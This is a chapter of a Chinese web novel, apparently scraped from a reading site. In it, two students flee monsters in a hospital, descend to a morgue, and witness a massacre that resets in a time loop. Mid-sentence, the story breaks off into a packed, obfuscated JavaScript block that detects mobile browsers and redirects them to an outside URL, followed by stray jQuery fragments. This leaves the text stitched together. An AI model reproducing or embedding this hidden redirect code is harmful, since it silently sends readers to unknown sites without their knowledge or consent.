头顶的灯重新亮起。
两人面对着面没有谁先开口说话,奇怪的胜负欲让夏烛拒绝与赢惑交换眼神。
“不如出去看看…”他的声音从对面的床上传来,话还没说完,夏烛就翻身踩在了地面上。
嬴惑跟在她身后,鼻腔里发出冷冷的嗤笑。
一前一后走到走廊上,尽头是一扇电梯门,安全出口的标志亮在右下角的位置。另一侧的拐角藏在阴影里,夏烛一时间不知道该往哪边走。
突然身后的门被一股巨大的力量撞开,一个黑乎乎的身影撞在了对面的墙壁上。只匆匆一眼,夏烛就感到头皮发麻。
人不人,狗不狗。
夏烛和赢惑快速对视了一眼,竟然十分默契地朝着电梯口跑去。
安全出口不是吗,像是游戏中的任务指示。
“叮——”电梯门打开,两人闪身进去,在怪物冲过来之前顺利合上。
夏烛微微喘着气靠在电梯内的墙上,狭窄的空间让他们之间的距离前所未有的近。事实上,一台电梯能载七八个人,这样的地方不至于让仅有的两个人感到社交边界上的不适。可偏偏装在一部电梯里的是夏烛和赢惑两个人。
她还好,只是灵敏的嗅觉让她实在无法忽视另一个人身上的气息,那种感觉就像她此刻正躺在一片刚刚下过小雨的青草地上。
反观赢惑,夏烛认为如果他的父母在场,一定会推着他的肩膀跟他讲:“好孩子,大大方方的。”甚至有一瞬间,夏烛就要代替说出那句话来。
他缩在电梯内的夹角里,也许觉得这样能最大限度地和夏烛同学保持距离,这个陌生女孩总是让自己感到不安,那种熟悉的压迫感让赢惑不得不忌惮的同时又产生好奇心。
即使他连夏烛的全名都还不知道。
阿烛,风家的人是这么叫她的。
Zhu?是哪个字呢?
突然从胡思乱想中醒悟过来的赢惑脸上的表情堪称惊恐。
“没人想按个电梯吗?”像是在掩饰什么,他装作轻松地单手插进裤兜,直起上半身走到电梯的按键面前,苍白而修长的指骨在仅有的四个数字上犹豫不定,那颗鸽血红的宝石戒指再次吸引住了夏烛的目光。
火焰般燃烧的光芒之下似乎也藏着某种纹理。
没有等他做好决定,轿厢忽然剧烈晃动,头顶的光源也闪烁不停。
赢惑漂亮的小脸再次变得煞白,他赶紧抽出刚刚才揣进裤兜的手,双手张开,后背紧紧贴在墙上。
“怎么回事!”他连声音都有些变形。
夏烛慢腾腾地将目光从红宝石戒指上移到他脸上,面无表情地欣赏赢惑颇具戏剧性的姿态。
“也许是电梯故障。忽然往下掉的那种。”
“什么?!那、那怎么办?”那双灰色的漂亮眼睛可怜巴巴地闪烁,叫人看了都不忍心。
“最好蹲下来抱住身体,这样收尸的也不用麻烦了。”
“麻烦什么?”
“麻烦去捡你七零八落的尸块。”
也许是夏烛这张脸不像是会说烂话的样子,也许是她的表情太过认真语气诚恳。赢惑真的在她的注视下慢慢蹲了下去,双手抱头窝在角落里。
电梯摇晃的更加剧烈,男人隐隐有想要尖叫的冲动,但出于他那根本就不存在的尊严面子,还是咬在牙缝里咽了下去。
夏烛不动声色地勾起嘴角,心情说不出的愉悦,她偏过头看向电梯内的屏幕,屏幕上的数字正在快速的翻转,从3一路跌倒-1,又从-1升回了3。这下就连夏烛也不得不伸出手紧紧抓住背后的栏杆。
电梯终于停在了某一楼层,屏幕上的数字最终显示为“-1”。
门缓缓往两边打开,一条黑暗的长廊,和长廊尽头的光晕出现在夏烛眼前。她望着那光线出神了片刻,抬脚走出了电梯。
感受到周围变化的赢惑终于放下双手抬起头来。
眼见就是夏烛逆着光的高大背影。她虽然穿着校服,但身姿挺拔,手里握着那把…那把短剑,袖子挽到小臂以上,露出肘部一丝流畅的肌肉线条,顺着顺滑细腻的皮肤一直往袖子里钻。
他突然觉得电梯内的温度在升高,灼得他脑袋发懵。于是赶紧站起来,拍拍衣裤上的褶子,抓了抓实际上一丝不苟的头发,故作轻松地迈出了电梯。
“好巧,我原本也是要来负一楼看看的。”
夏烛并没有理会他,而是径直朝尽头的房间走去。
赢惑跟在她身后,嘴里发出不满的哧气。
停尸房。
尽头只是一间过于宽敞的停尸房。
风枫和姬无愁她们并不在这里。
头顶的白炽灯直白地照在透亮的地板上。两人的身影反射其间摇摇晃晃。
门口的墙壁上挂着一台突兀的时钟,赢惑站在钟表下方盯着停在一点整的时针没有说话。
“这里似乎…”夏烛刚想说点什么,门外面就传来了一阵凌乱的脚步声,她紧了紧手中的剑柄。几个陌生的面孔出现在门边,他们脸上的表情慌乱惊恐。
“人?你们是人类吗?”一个男生对着夏烛战战兢兢的开口,当他看清屋内的陈设时明显又被吓了一跳,声音有点上气不接下气地哽在喉咙里。
夏烛看了一眼并不打算理会这些人的赢惑,决定自己来交涉。
“你们是谁,从哪里来的?”
几人七嘴八舌的说了一通,大概就是两人成组在病房内醒来,遇到人不人狗不狗兔不兔的怪物追杀一路逃到这里,一些同伴已经被残忍杀害之类的。
“我们互相都不认识,怎么会莫名其妙的在这里醒来?到底是怎么一回事…”那个面露惧色的男生还想再说,夏烛冲他比了一个噤声的手势。
头顶的天花板传来一阵奇怪的震动,接着又嘎吱嘎吱地响起来。
“退后。”夏烛挥手示意众人,话音刚落,天花板就往下塌陷,碎石和断裂的木板向下戳出危险的趋势,一个巨大的黏糊糊的身影从洞口漏了下来,摔了很远停在了走廊上。就像一滩烂泥汇集在地板,慢慢显示出它庞大的身躯。
夏烛的目光从怪物身上挪开,一只手臂搭在了洞口处。她瞳孔骤缩,顾不上正在蠕动的怪物冲到了破洞下方。
姬无愁满脸是血的吊在那里,一旁尖锐的木刺扎进了她的手臂,鲜血糊住了双眼,她似乎感应到夏烛的存在,勉强撑起眼皮。
“快…跑…”她只来得及
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013659|172863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和夏烛说上这么一句,眼底最后的一点光芒就彻底暗了下去。夏烛没有办法接受如此的突变,她努力踮起脚伸出手抓住了姬无愁无力下垂的胳膊,却发现她感受不到体内游走的相力,而姬无愁仍旧闭着眼睛静静躺在那里。
相力似乎,消失了。
她呆呆地收回自己的手,看向手心里还带着温度的姬无愁的鲜血。
走廊上的巨大缝合怪已经重新站了起来,身躯像一团腐肉般挤在走廊中,所有的氧气似乎都被它吸了去,身后甩着一条巨型老鼠一样的肉尾巴。
怪物朝着门边那群NPC扑了过去,一个男孩将旁边的同伴往门里一推,张开双臂挡在了怪物面前。这样勇敢动人的举动也无法阻止怪物张开血盆大口一口咬掉了男孩的头颅。
断裂的颈部带着身躯还在原地□□,怪物已经与尸体擦肩而过,利爪伸向了门内的其他人。惨叫声在夏烛耳边此起彼伏,屠杀的速度之快,几乎在眨眼之间,所有人,包括一直离得很远的赢惑在内全都躺在了血泊之中。
夏烛呆呆地望着眼前的一切,拖着沉重的脚步来到了赢惑身边。
他引以为傲的衣装变成了皱巴巴的一团,鲜血太多了以至于夏烛无法找出致命的伤口。他比之前还要苍白,像一片薄到能看清脉络的花瓣。
赢惑勉强睁开一只眼睛,露出灰色的底色。
“这下,靠你了…”
在夏烛怪异的表情下完全闭上了眼睛。
靠你了?这根本不像赢惑这种自大的人会说出的话,他有多惜命,临死之前绝对不会像一个正义凛然的大好人嘱咐夏烛一定要坚强地活下去。
这一切都太过于诡异。
夏烛始终无法把眼前的结果当作事实。她甚至有一刻怀疑自己是不是冷血无情,竟然感受不到一丝悲伤。
她跪在冰冷的地板上,看着赢惑的尸体,眼睛正在慢慢失去焦距。
忽然,头顶的灯光闪烁了几下,周围彻底陷入了黑暗当中。
五秒,也许是十秒。
黑暗短暂而又漫长。
夏烛靠着握紧拳头来确认自己仍旧存在。
当光明重新降临,她不可思议地看着眼前原本一地的狼藉化为乌有。鲜血,天花板的破洞,赢惑和姬无愁的尸体,全都消失不见了。
干净的好像刚刚只是做了一场梦。
她僵硬地站起身来,意识到这个屋子的实际作用。然后缓慢地走向了其中一间冷藏格。她盯着金属的把手似乎在思考什么,片刻之后,带着巨大的勇气,夏烛拉开了面前的抽屉。
红色的干枯的头发微微卷曲着,一颗圆润的棕色珠子垂在颈脖边。
她猛地推上抽屉,不敢再看一眼。
胸口剧烈起伏,导致呼吸出现紊乱,夏烛紧紧握着手里的小剑,告诉自己这都是假的。
“叮——”走廊尽头传来电梯停靠的声音,她深呼一口气,朝着电梯的方向走去。
在夏烛没有注意到的地方,停尸房入口一旁的墙上。挂钟的时间不知道在什么时候已经跳动到了两点整。
夏烛1号走出电梯,再次回到三楼的走廊。
她躲在拐角的阴影下,目睹自己与赢惑从病房内走出。